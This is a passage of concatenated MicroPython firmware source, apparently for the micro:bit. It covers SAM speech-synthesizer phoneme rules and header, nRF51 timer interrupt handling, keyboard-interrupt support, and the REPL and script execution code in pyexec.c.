length %d\n", X, signInputTable1[sam->prepare.phoneme_input[X].index], signInputTable2[sam->prepare.phoneme_input[X].index], sam->prepare.phoneme_input[X].length); // decrease length by 1/8th mem56 = sam->prepare.phoneme_input[X].length >> 3; sam->prepare.phoneme_input[X].length -= mem56; //DEBUG: printf("POST\n"); //DEBUG: printf("phoneme %d (%c%c) length %d\n", X, signInputTable1[sam->prepare.phoneme_input[X].index], signInputTable2[sam->prepare.phoneme_input[X].index], sam->prepare.phoneme_input[X].length); // move ahead loopIndex++; continue; } // RULE: // //DEBUG: printf("RULE: - increase vowel by 1/2 + 1\n"); //DEBUG: printf("PRE\n"); //DEBUG: printf("phoneme %d (%c%c) length %d\n", X-1, signInputTable1[sam->prepare.phoneme_input[X-1].index], signInputTable2[sam->prepare.phoneme_input[X-1].index], sam->prepare.phoneme_input[X-1].length); // decrease length A = sam->prepare.phoneme_input[X-1].length; sam->prepare.phoneme_input[X-1].length = (A >> 2) + A + 1; // 5/4*A + 1 //DEBUG: printf("POST\n"); //DEBUG: printf("phoneme %d (%c%c) length %d\n", X-1, signInputTable1[sam->prepare.phoneme_input[X-1].index], signInputTable2[sam->prepare.phoneme_input[X-1].index], sam->prepare.phoneme_input[X-1].length); // move ahead loopIndex++; continue; } // WH, R*, L*, W*, Y*, M*, N*, NX, Q*, Z*, ZH, V*, DH, J*, B*, D*, G*, GX //pos48821: // RULE: // Set punctuation length to 6 // Set stop consonant length to 5 // nasal? if((flags2[index] & 8) != 0) { // M*, N*, NX, // get the next phoneme X++; index = sam->prepare.phoneme_input[X].index; // end of buffer? if (index == PHONEME_END) A = 65&2; //prevent buffer overflow else A = flags[index] & 2; // check for stop consonant // is next phoneme a stop consonant? if (A != 0) // B*, D*, G*, GX, P*, T*, K*, KX { //DEBUG: printf("RULE: - set nasal = 5, consonant = 6\n"); //DEBUG: printf("POST\n"); //DEBUG: printf("phoneme %d (%c%c) length %d\n", X, signInputTable1[sam->prepare.phoneme_input[X].index], signInputTable2[sam->prepare.phoneme_input[X].index], sam->prepare.phoneme_input[X].length); //DEBUG: printf("phoneme %d (%c%c) length %d\n", X-1, signInputTable1[sam->prepare.phoneme_input[X-1].index], signInputTable2[sam->prepare.phoneme_input[X-1].index], sam->prepare.phoneme_input[X-1].length); // set stop consonant length to 6 sam->prepare.phoneme_input[X].length = 6; // set nasal length to 5 sam->prepare.phoneme_input[X-1].length = 5; //DEBUG: printf("POST\n"); //DEBUG: printf("phoneme %d (%c%c) length %d\n", X, signInputTable1[sam->prepare.phoneme_input[X].index], signInputTable2[sam->prepare.phoneme_input[X].index], sam->prepare.phoneme_input[X].length); //DEBUG: printf("phoneme %d (%c%c) length %d\n", X-1, signInputTable1[sam->prepare.phoneme_input[X-1].index], signInputTable2[sam->prepare.phoneme_input[X-1].index], sam->prepare.phoneme_input[X-1].length); } // move to next phoneme loopIndex++; continue; } // WH, R*, L*, W*, Y*, Q*, Z*, ZH, V*, DH, J*, B*, D*, G*, GX // RULE: {optional silence} // Shorten both to (length/2 + 1) // (voiced) stop consonant? if((flags[index] & 2) != 0) { // B*, D*, G*, GX // move past silence do { // move ahead X++; index = sam->prepare.phoneme_input[X].index; } while(index == 0); // check for end of buffer if (index == PHONEME_END) //buffer overflow { // ignore, overflow code if ((65 & 2) == 0) {loopIndex++; continue;} } else if ((flags[index] & 2) == 0) { // if another stop consonant, move ahead loopIndex++; continue; } // RULE: {optional silence} //DEBUG: printf("RULE: {optional silence} - shorten both to 1/2 + 1\n"); //DEBUG: printf("PRE\n"); //DEBUG: printf("phoneme %d (%c%c) length %d\n", X, signInputTable1[sam->prepare.phoneme_input[X].index], signInputTable2[sam->prepare.phoneme_input[X].index], sam->prepare.phoneme_input[X].length); //DEBUG: printf("phoneme %d (%c%c) length %d\n", X-1, signInputTable1[sam->prepare.phoneme_input[X-1].index], signInputTable2[sam->prepare.phoneme_input[X-1].index], sam->prepare.phoneme_input[X-1].length); // X gets overwritten, so hold prior X value for debug statement // int debugX = X; // shorten the prior phoneme length to (length/2 + 1) sam->prepare.phoneme_input[X].length = (sam->prepare.phoneme_input[X].length >> 1) + 1; X = loopIndex; // also shorten this phoneme length to (length/2 +1) sam->prepare.phoneme_input[loopIndex].length = (sam->prepare.phoneme_input[loopIndex].length >> 1) + 1; //DEBUG: printf("POST\n"); //DEBUG: printf("phoneme %d (%c%c) length %d\n", debugX, signInputTable1[sam->prepare.phoneme_input[debugX].index], signInputTable2[sam->prepare.phoneme_input[debugX].index], sam->prepare.phoneme_input[debugX].length); //DEBUG: printf("phoneme %d (%c%c) length %d\n", debugX-1, signInputTable1[sam->prepare.phoneme_input[debugX-1].index], signInputTable2[sam->prepare.phoneme_input[debugX-1].index], sam->prepare.phoneme_input[debugX-1].length); // move ahead loopIndex++; continue; } // WH, R*, L*, W*, Y*, Q*, Z*, ZH, V*, DH, J*, **, // RULE: // Decrease by 2 // liquic consonant? if ((flags2[index] & 16) != 0) { // R*, L*, W*, Y* // get the prior phoneme index = sam->prepare.phoneme_input[X-1].index; // prior phoneme a stop consonant> if((flags[index] & 2) != 0) // Rule: //DEBUG: printf("RULE: - decrease by 2\n"); //DEBUG: printf("PRE\n"); //DEBUG: printf("phoneme %d (%c%c) length %d\n", X, signInputTable1[sam->prepare.phoneme_input[X].index], signInputTable2[sam->prepare.phoneme_input[X].index], sam->prepare.phoneme_input[X].length); // decrease the phoneme length by 2 frames (20 ms) sam->prepare.phoneme_input[X].length -= 2; //DEBUG: printf("POST\n"); //DEBUG: printf("phoneme %d (%c%c) length %d\n", X, signInputTable1[sam->prepare.phoneme_input[X].index], signInputTable2[sam->prepare.phoneme_input[X].index], sam->prepare.phoneme_input[X].length); } // move to next phoneme loopIndex++; continue; } // goto pos48701; } ================================================ FILE: micropython/source/lib/sam/sam.h ================================================ #ifndef SAM_H #define SAM_H #define DEFAULT_SING false #define DEFAULT_PITCH 64 #define DEFAULT_SPEED 72 #define DEFAULT_MOUTH 128 #define DEFAULT_THROAT 128 typedef struct _phoneme_t { unsigned char index; unsigned char length; unsigned char stress; //numbers from 0 to 8 unsigned char pitch; } phoneme_t; enum { PHONEME_IGNORE=0, PHONEME_END=127, PHONEME_END_BREATH=126 }; #define RENDER_FRAMES 256 #define INPUT_PHONEMES 128 #define OUTPUT_PHONEMES (RENDER_FRAMES/4) typedef struct _prepare_memory { const char *input; unsigned int input_length; phoneme_t phoneme_input[INPUT_PHONEMES]; } prepare_memory; typedef struct _common_memory { unsigned char speed; unsigned char pitch; unsigned char mouth; unsigned char throat; int singmode; phoneme_t phoneme_output[OUTPUT_PHONEMES]; } common_memory; typedef struct _render_freq_amp_t { unsigned int freq1:6; unsigned int freq2:7; unsigned int freq3:7; unsigned int amp1:4; unsigned int amp2:4; unsigned int amp3:4; } render_freq_amp_t; typedef struct _render_memory { render_freq_amp_t freq_amp[RENDER_FRAMES]; unsigned char pitch[RENDER_FRAMES]; unsigned char flags[RENDER_FRAMES]; } render_memory; typedef struct _sam_memory { common_memory common; prepare_memory prepare; render_memory render; } sam_memory; void SetInput(sam_memory* mem, const char *_input, unsigned int len); int SAMMain(sam_memory* mem); extern char *sam_error; char* GetBuffer(); int GetBufferLength(); //char input[]={"/HAALAOAO MAYN NAAMAEAE IHSTT SAEBAASTTIHAAN \x9b\x9b\0"}; //unsigned char input[]={"/HAALAOAO \x9b\0"}; //unsigned char input[]={"AA \x9b\0"}; //unsigned char input[] = {"GUH5DEHN TAEG\x9b\0"}; //unsigned char input[]={"AY5 AEM EY TAO4LXKIHNX KAX4MPYUX4TAH. GOW4 AH/HEH3D PAHNK.MEYK MAY8 DEY.\x9b\0"}; //unsigned char input[]={"/HEH3LOW2, /HAW AH YUX2 TUXDEY. AY /HOH3P YUX AH FIYLIHNX OW4 KEY.\x9b\0"}; //unsigned char input[]={"/HEY2, DHIHS IH3Z GREY2T. /HAH /HAH /HAH.AYL BIY5 BAEK.\x9b\0"}; //unsigned char input[]={"/HAH /HAH /HAH \x9b\0"}; //unsigned char input[]={"/HAH /HAH /HAH.\x9b\0"}; //unsigned char input[]={".TUW BIY5Y3,, OHR NAA3T - TUW BIY5IYIY., DHAE4T IHZ DHAH KWEH4SCHAHN.\x9b\0"}; //unsigned char input[]={"/HEY2, DHIHS \x9b\0"}; //unsigned char input[]={" IYIHEHAEAAAHAOOHUHUXERAXIX \x9b\0"}; //unsigned char input[]={" RLWWYMNNXBDGJZZHVDH \x9b\0"}; //unsigned char input[]={" SSHFTHPTKCH/H \x9b\0"}; //unsigned char input[]={" EYAYOYAWOWUW ULUMUNQ YXWXRXLX/XDX\x9b\0"}; #endif ================================================ FILE: micropython/source/lib/ticker.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2016 Mark Shannon * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "stddef.h" #include "lib/ticker.h" #define FastTicker NRF_TIMER0 #define FastTicker_IRQn TIMER0_IRQn #define FastTicker_IRQHandler TIMER0_IRQHandler #define SlowTicker_IRQn SWI3_IRQn #define SlowTicker_IRQHandler SWI3_IRQHandler #define LowPriority_IRQn SWI4_IRQn #define LowPriority_IRQHandler SWI4_IRQHandler // The number of milliseconds that have passed since the ticker was initialised volatile uint32_t ticker_ticks_ms; // Ticker callback function called every MACRO_TICK static callback_ptr slow_ticker; void ticker_init(callback_ptr slow_ticker_callback) { ticker_ticks_ms = 0; slow_ticker = slow_ticker_callback; NRF_TIMER_Type *ticker = FastTicker; ticker->POWER = 1; __NOP(); ticker_stop(); ticker->TASKS_CLEAR = 1; ticker->CC[3] = MICROSECONDS_PER_MACRO_TICK; ticker->MODE = TIMER_MODE_MODE_Timer; ticker->BITMODE = TIMER_BITMODE_BITMODE_24Bit << TIMER_BITMODE_BITMODE_Pos; ticker->PRESCALER = 4; // 1 tick == 1 microsecond ticker->INTENSET = TIMER_INTENSET_COMPARE3_Msk; ticker->SHORTS = 0; NVIC_SetPriority(FastTicker_IRQn, 1); NVIC_SetPriority(SlowTicker_IRQn, 2); NVIC_SetPriority(LowPriority_IRQn, 3); NVIC_EnableIRQ(SlowTicker_IRQn); NVIC_EnableIRQ(LowPriority_IRQn); } /* Start and stop timer 0 including workarounds for Anomaly 73 for Timer * http://www.nordicsemi.com/eng/content/download/29490/494569/file/nRF51822-PAN%20v3.0.pdf */ void ticker_start(void) { NVIC_EnableIRQ(FastTicker_IRQn); *(uint32_t *)0x40008C0C = 1; //for Timer 0 FastTicker->TASKS_START = 1; } void ticker_stop(void) { NVIC_DisableIRQ(FastTicker_IRQn); FastTicker->TASKS_STOP = 1; *(uint32_t *)0x40008C0C = 0; //for Timer 0 } int32_t noop(void) { return -1; } static ticker_callback_ptr callbacks[3] = { noop, noop, noop }; void FastTicker_IRQHandler(void) { NRF_TIMER_Type *ticker = FastTicker; ticker_callback_ptr *call = callbacks; if (ticker->EVENTS_COMPARE[0]) { ticker->EVENTS_COMPARE[0] = 0; ticker->CC[0] += call[0]()*MICROSECONDS_PER_TICK; } if (ticker->EVENTS_COMPARE[1]) { ticker->EVENTS_COMPARE[1] = 0; ticker->CC[1] += call[1]()*MICROSECONDS_PER_TICK; } if (ticker->EVENTS_COMPARE[2]) { ticker->EVENTS_COMPARE[2] = 0; ticker->CC[2] += call[2]()*MICROSECONDS_PER_TICK; } if (ticker->EVENTS_COMPARE[3]) { ticker->EVENTS_COMPARE[3] = 0; ticker->CC[3] += MICROSECONDS_PER_MACRO_TICK; ticker_ticks_ms += MILLISECONDS_PER_MACRO_TICK; NVIC_SetPendingIRQ(SlowTicker_IRQn); } } static const uint32_t masks[3] = { TIMER_INTENCLR_COMPARE0_Msk, TIMER_INTENCLR_COMPARE1_Msk, TIMER_INTENCLR_COMPARE2_Msk, }; int set_ticker_callback(uint32_t index, ticker_callback_ptr func, int32_t initial_delay_us) { if (index > 3) return -1; NRF_TIMER_Type *ticker = FastTicker; callbacks[index] = noop; ticker->INTENCLR = masks[index]; ticker->TASKS_CAPTURE[index] = 1; uint32_t t = FastTicker->CC[index]; // Need to make sure that set tick is aligned to lastest tick // Use CC[3] as a reference, as that is always up-to-date. int32_t cc3 = FastTicker->CC[3]; int32_t delta = t+initial_delay_us-cc3; delta = (delta/MICROSECONDS_PER_TICK+1)*MICROSECONDS_PER_TICK; callbacks[index] = func; ticker->INTENSET = masks[index]; FastTicker->CC[index] = cc3 + delta; return 0; } int clear_ticker_callback(uint32_t index) { if (index > 3) return -1; FastTicker->INTENCLR = masks[index]; callbacks[index] = noop; return 0; } void SlowTicker_IRQHandler(void) { slow_ticker(); } #define LOW_PRIORITY_CALLBACK_LIMIT 4 callback_ptr low_priority_callbacks[LOW_PRIORITY_CALLBACK_LIMIT] = { NULL, NULL, NULL, NULL }; void LowPriority_IRQHandler(void) { for (int id = 0; id < LOW_PRIORITY_CALLBACK_LIMIT; id++) { callback_ptr callback = low_priority_callbacks[id]; if (callback != NULL) { low_priority_callbacks[id] = NULL; callback(); } } } int set_low_priority_callback(callback_ptr callback, int id) { if (low_priority_callbacks[id] != NULL) return -1; low_priority_callbacks[id] = callback; NVIC_SetPendingIRQ(LowPriority_IRQn); return 0; } ================================================ FILE: micropython/source/lib/utils/interrupt_char.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013-2016 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/obj.h" #include "py/mpstate.h" #if MICROPY_KBD_EXCEPTION int mp_interrupt_char; void mp_hal_set_interrupt_char(int c) { if (c != -1) { mp_obj_exception_clear_traceback(MP_OBJ_FROM_PTR(&MP_STATE_VM(mp_kbd_exception))); } mp_interrupt_char = c; } void mp_keyboard_interrupt(void) { MP_STATE_VM(mp_pending_exception) = MP_OBJ_FROM_PTR(&MP_STATE_VM(mp_kbd_exception)); #if MICROPY_ENABLE_SCHEDULER if (MP_STATE_VM(sched_state) == MP_SCHED_IDLE) { MP_STATE_VM(sched_state) = MP_SCHED_PENDING; } #endif } #endif ================================================ FILE: micropython/source/lib/utils/pyexec.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include #include "py/nlr.h" #include "py/compile.h" #include "py/runtime.h" #include "py/repl.h" #include "py/gc.h" #include "py/frozenmod.h" #include "py/mphal.h" #if defined(USE_DEVICE_MODE) #include "irq.h" #include "usb.h" #endif #include "lib/mp-readline/readline.h" #include "lib/utils/pyexec.h" #include "genhdr/mpversion.h" pyexec_mode_kind_t pyexec_mode_kind = PYEXEC_MODE_FRIENDLY_REPL; int pyexec_system_exit = 0; #define EXEC_FLAG_PRINT_EOF (1) #define EXEC_FLAG_ALLOW_DEBUGGING (2) #define EXEC_FLAG_IS_REPL (4) #define EXEC_FLAG_SOURCE_IS_RAW_CODE (8) #define EXEC_FLAG_SOURCE_IS_VSTR (16) #define EXEC_FLAG_SOURCE_IS_FILENAME (32) // parses, compiles and executes the code in the lexer // frees the lexer before returning // EXEC_FLAG_PRINT_EOF prints 2 EOF chars: 1 after normal output, 1 after exception output // EXEC_FLAG_ALLOW_DEBUGGING allows debugging info to be printed after executing the code // EXEC_FLAG_IS_REPL is used for REPL inputs (flag passed on to mp_compile) STATIC int parse_compile_execute(const void *source, mp_parse_input_kind_t input_kind, int exec_flags) { int ret = 0; // by default a SystemExit exception returns 0 pyexec_system_exit = 0; nlr_buf_t nlr; if (nlr_push(&nlr) == 0) { mp_obj_t module_fun; #if MICROPY_MODULE_FROZEN_MPY if (exec_flags & EXEC_FLAG_SOURCE_IS_RAW_CODE) { // source is a raw_code object, create the function module_fun = mp_make_function_from_raw_code(source, MP_OBJ_NULL, MP_OBJ_NULL); } else #endif { #if MICROPY_ENABLE_COMPILER mp_lexer_t *lex; if (exec_flags & EXEC_FLAG_SOURCE_IS_VSTR) { const vstr_t *vstr = source; lex = mp_lexer_new_from_str_len(MP_QSTR__lt_stdin_gt_, vstr->buf, vstr->len, 0); } else if (exec_flags & EXEC_FLAG_SOURCE_IS_FILENAME) { lex = mp_lexer_new_from_file(source); } else { lex = (mp_lexer_t*)source; } // source is a lexer, parse and compile the script qstr source_name = lex->source_name; mp_parse_tree_t parse_tree = mp_parse(lex, input_kind); module_fun = mp_compile(&parse_tree, source_name, MP_EMIT_OPT_NONE, exec_flags & EXEC_FLAG_IS_REPL); #else mp_raise_msg(&mp_type_RuntimeError, "script compilation not supported"); #endif } // execute code mp_hal_set_interrupt_char(CHAR_CTRL_C); // allow ctrl-C to interrupt us mp_call_function_0(module_fun); mp_hal_set_interrupt_char(-1); // disable interrupt nlr_pop(); ret = 1; if (exec_flags & EXEC_FLAG_PRINT_EOF) { mp_hal_stdout_tx_strn("\x04", 1); } } else { // uncaught exception // FIXME it could be that an interrupt happens just before we disable it here mp_hal_set_interrupt_char(-1); // disable interrupt // print EOF after normal output if (exec_flags & EXEC_FLAG_PRINT_EOF) { mp_hal_stdout_tx_strn("\x04", 1); } // check for SystemExit if (mp_obj_is_subclass_fast(mp_obj_get_type((mp_obj_t)nlr.ret_val), &mp_type_SystemExit)) { // at the moment, the value of SystemExit is unused ret = pyexec_system_exit; } else { mp_obj_print_exception(&mp_plat_print, (mp_obj_t)nlr.ret_val); ret = 0; } } if (exec_flags & EXEC_FLAG_PRINT_EOF) { mp_hal_stdout_tx_strn("\x04", 1); } return ret; } #if MICROPY_ENABLE_COMPILER #if MICROPY_REPL_EVENT_DRIVEN typedef struct _repl_t { // This structure originally also held current REPL line, // but it was moved to MP_STATE_VM(repl_line) as containing // root pointer. Still keep structure in case more state // will be added later. //vstr_t line; bool cont_line; } repl_t; repl_t repl; STATIC int pyexec_raw_repl_process_char(int c); STATIC int pyexec_friendly_repl_process_char(int c); void pyexec_event_repl_init(void) { MP_STATE_VM(repl_line) = vstr_new(32); repl.cont_line = false; // no prompt before printing friendly REPL banner or entering raw REPL readline_init(MP_STATE_VM(repl_line), ""); if (pyexec_mode_kind == PYEXEC_MODE_RAW_REPL) { pyexec_raw_repl_process_char(CHAR_CTRL_A); } else { pyexec_friendly_repl_process_char(CHAR_CTRL_B); } } STATIC int pyexec_raw_repl_process_char(int c) { if (c == CHAR_CTRL_A) { // reset raw REPL mp_hal_stdout_tx_str("raw REPL; CTRL-B to exit\r\n"); goto reset; } else if (c == CHAR_CTRL_B) { // change to friendly REPL pyexec_mode_kind = PYEXEC_MODE_FRIENDLY_REPL; vstr_reset(MP_STATE_VM(repl_line)); repl.cont_line = false; pyexec_friendly_repl_process_char(CHAR_CTRL_B); return 0; } else if (c == CHAR_CTRL_C) { // clear line vstr_reset(MP_STATE_VM(repl_line)); return 0; } else if (c == CHAR_CTRL_D) { // input finished } else { // let through any other raw 8-bit value vstr_add_byte(MP_STATE_VM(repl_line), c); return 0; } // indicate reception of command mp_hal_stdout_tx_str("OK"); if (MP_STATE_VM(repl_line)->len == 0) { // exit for a soft reset mp_hal_stdout_tx_str("\r\n"); vstr_clear(MP_STATE_VM(repl_line)); return PYEXEC_FORCED_EXIT; } int ret = parse_compile_execute(MP_STATE_VM(repl_line), MP_PARSE_FILE_INPUT, EXEC_FLAG_PRINT_EOF | EXEC_FLAG_SOURCE_IS_VSTR); if (ret & PYEXEC_FORCED_EXIT) { return ret; } reset: vstr_reset(MP_STATE_VM(repl_line)); mp_hal_stdout_tx_str(">"); return 0; } STATIC int pyexec_friendly_repl_process_char(int c) { int ret = readline_process_char(c); if (!repl.cont_line) { if (ret == CHAR_CTRL_A) { // change to raw REPL pyexec_mode_kind = PYEXEC_MODE_RAW_REPL; mp_hal_stdout_tx_str("\r\n"); pyexec_raw_repl_process_char(CHAR_CTRL_A); return 0; } else if (ret == CHAR_CTRL_B) { // reset friendly REPL mp_hal_stdout_tx_str("\r\n"); mp_hal_stdout_tx_str("MicroPython " MICROPY_GIT_TAG " on " MICROPY_BUILD_DATE "; " MICROPY_HW_BOARD_NAME " with " MICROPY_HW_MCU_NAME "\r\n"); #if MICROPY_PY_BUILTINS_HELP mp_hal_stdout_tx_str("Type \"help()\" for more information.\r\n"); #endif goto input_restart; } else if (ret == CHAR_CTRL_C) { // break mp_hal_stdout_tx_str("\r\n"); goto input_restart; } else if (ret == CHAR_CTRL_D) { // exit for a soft reset mp_hal_stdout_tx_str("\r\n"); vstr_clear(MP_STATE_VM(repl_line)); return PYEXEC_FORCED_EXIT; } if (ret < 0) { return 0; } if (!mp_repl_continue_with_input(vstr_null_terminated_str(MP_STATE_VM(repl_line)))) { goto exec; } vstr_add_byte(MP_STATE_VM(repl_line), '\n'); repl.cont_line = true; readline_note_newline("... "); return 0; } else { if (ret == CHAR_CTRL_C) { // cancel everything mp_hal_stdout_tx_str("\r\n"); repl.cont_line = false; goto input_restart; } else if (ret == CHAR_CTRL_D) { // stop entering compound statement goto exec; } if (ret < 0) { return 0; } if (mp_repl_continue_with_input(vstr_null_terminated_str(MP_STATE_VM(repl_line)))) { vstr_add_byte(MP_STATE_VM(repl_line), '\n'); readline_note_newline("... "); return 0; } exec: ; int ret = parse_compile_execute(MP_STATE_VM(repl_line), MP_PARSE_SINGLE_INPUT, EXEC_FLAG_ALLOW_DEBUGGING | EXEC_FLAG_IS_REPL | EXEC_FLAG_SOURCE_IS_VSTR); if (ret & PYEXEC_FORCED_EXIT) { return ret; } input_restart: vstr_reset(MP_STATE_VM(repl_line)); repl.cont_line = false; readline_init(MP_STATE_VM(repl_line), ">>> "); return 0; } } uint8_t pyexec_repl_active; int pyexec_event_repl_process_char(int c) { pyexec_repl_active = 1; int res; if (pyexec_mode_kind == PYEXEC_MODE_RAW_REPL) { res = pyexec_raw_repl_process_char(c); } else { res = pyexec_friendly_repl_process_char(c); } pyexec_repl_active = 0; return res; } #else // MICROPY_REPL_EVENT_DRIVEN int pyexec_raw_repl(void) { vstr_t line; vstr_init(&line, 32); raw_repl_reset: mp_hal_stdout_tx_str("raw REPL; CTRL-B to exit\r\n"); for (;;) { vstr_reset(&line); mp_hal_stdout_tx_str(">"); for (;;) { int c = mp_hal_stdin_rx_chr(); if (c == CHAR_CTRL_A) { // reset raw REPL goto raw_repl_reset; } else if (c == CHAR_CTRL_B) { // change to friendly REPL mp_hal_stdout_tx_str("\r\n"); vstr_clear(&line); pyexec_mode_kind = PYEXEC_MODE_FRIENDLY_REPL; return 0; } else if (c == CHAR_CTRL_C) { // clear line vstr_reset(&line); } else if (c == CHAR_CTRL_D) { // input finished break; } else { // let through any other raw 8-bit value vstr_add_byte(&line, c); } } // indicate reception of command mp_hal_stdout_tx_str("OK"); if (line.len == 0) { // exit for a soft reset mp_hal_stdout_tx_str("\r\n"); vstr_clear(&line); return PYEXEC_FORCED_EXIT; } int ret = parse_compile_execute(&line, MP_PARSE_FILE_INPUT, EXEC_FLAG_PRINT_EOF | EXEC_FLAG_SOURCE_IS_VSTR); if (ret & PYEXEC_FORCED_EXIT) { return ret; } } } int pyexec_friendly_repl(void) { vstr_t line; vstr_init(&line, 32); #if defined(USE_HOST_MODE) && MICROPY_HW_HAS_LCD // in host mode, we enable the LCD for the repl mp_obj_t lcd_o = mp_call_function_0(mp_load_name(qstr_from_str("LCD"))); mp_call_function_1(mp_load_attr(lcd_o, qstr_from_str("light")), mp_const_true); #endif friendly_repl_reset: mp_hal_stdout_tx_str("MicroPython " MICROPY_GIT_TAG " on " MICROPY_BUILD_DATE "; " MICROPY_HW_BOARD_NAME " with " MICROPY_HW_MCU_NAME "\r\n"); #if MICROPY_PY_BUILTINS_HELP mp_hal_stdout_tx_str("Type \"help()\" for more information.\r\n"); #endif // to test ctrl-C /* { uint32_t x[4] = {0x424242, 0xdeaddead, 0x242424, 0xdeadbeef}; for (;;) { nlr_buf_t nlr; printf("pyexec_repl: %p\n", x); mp_hal_set_interrupt_char(CHAR_CTRL_C); if (nlr_push(&nlr) == 0) { for (;;) { } } else { printf("break\n"); } } } */ for (;;) { input_restart: #if defined(USE_DEVICE_MODE) if (usb_vcp_is_enabled()) { // If the user gets to here and interrupts are disabled then // they'll never see the prompt, traceback etc. The USB REPL needs // interrupts to be enabled or no transfers occur. So we try to // do the user a favor and reenable interrupts. if (query_irq() == IRQ_STATE_DISABLED) { enable_irq(IRQ_STATE_ENABLED); mp_hal_stdout_tx_str("PYB: enabling IRQs\r\n"); } } #endif vstr_reset(&line); int ret = readline(&line, ">>> "); mp_parse_input_kind_t parse_input_kind = MP_PARSE_SINGLE_INPUT; if (ret == CHAR_CTRL_A) { // change to raw REPL mp_hal_stdout_tx_str("\r\n"); vstr_clear(&line); pyexec_mode_kind = PYEXEC_MODE_RAW_REPL; return 0; } else if (ret == CHAR_CTRL_B) { // reset friendly REPL mp_hal_stdout_tx_str("\r\n"); goto friendly_repl_reset; } else if (ret == CHAR_CTRL_C) { // break mp_hal_stdout_tx_str("\r\n"); continue; } else if (ret == CHAR_CTRL_D) { // exit for a soft reset mp_hal_stdout_tx_str("\r\n"); vstr_clear(&line); return PYEXEC_FORCED_EXIT; } else if (ret == CHAR_CTRL_E) { // paste mode mp_hal_stdout_tx_str("\r\npaste mode; Ctrl-C to cancel, Ctrl-D to finish\r\n=== "); vstr_reset(&line); for (;;) { char c = mp_hal_stdin_rx_chr(); if (c == CHAR_CTRL_C) { // cancel everything mp_hal_stdout_tx_str("\r\n"); goto input_restart; } else if (c == CHAR_CTRL_D) { // end of input mp_hal_stdout_tx_str("\r\n"); break; } else { // add char to buffer and echo vstr_add_byte(&line, c); if (c == '\r') { mp_hal_stdout_tx_str("\r\n=== "); } else { mp_hal_stdout_tx_strn(&c, 1); } } } parse_input_kind = MP_PARSE_FILE_INPUT; } else if (vstr_len(&line) == 0) { continue; } else { // got a line with non-zero length, see if it needs continuing while (mp_repl_continue_with_input(vstr_null_terminated_str(&line))) { vstr_add_byte(&line, '\n'); ret = readline(&line, "... "); if (ret == CHAR_CTRL_C) { // cancel everything mp_hal_stdout_tx_str("\r\n"); goto input_restart; } else if (ret == CHAR_CTRL_D) { // stop entering compound statement break; } } } ret = parse_compile_execute(&line, parse_input_kind, EXEC_FLAG_ALLOW_DEBUGGING | EXEC_FLAG_IS_REPL | EXEC_FLAG_SOURCE_IS_VSTR); if (ret & PYEXEC_FORCED_EXIT) { return ret; } } } #endif // MICROPY_REPL_EVENT_DRIVEN #endif // MICROPY_ENABLE_COMPILER int pyexec_file(const char *filename) { return parse_compile_execute(filename, MP_PARSE_FILE_INPUT, EXEC_FLAG_SOURCE_IS_FILENAME); } #if MICROPY_MODULE_FROZEN int pyexec_frozen_module(const char *name) { void *frozen_data; int frozen_type = mp_find_frozen_module(name, strlen(name), &frozen_data); switch (frozen_type) { #if MICROPY_MODULE_FROZEN_STR case MP_FROZEN_STR: return parse_compile_execute(frozen_data, MP_PARSE_FILE_INPUT, 0); #endif #if MICROPY_MODULE_FROZEN_MPY case MP_FROZEN_MPY: return parse_compile_execute(frozen_data, 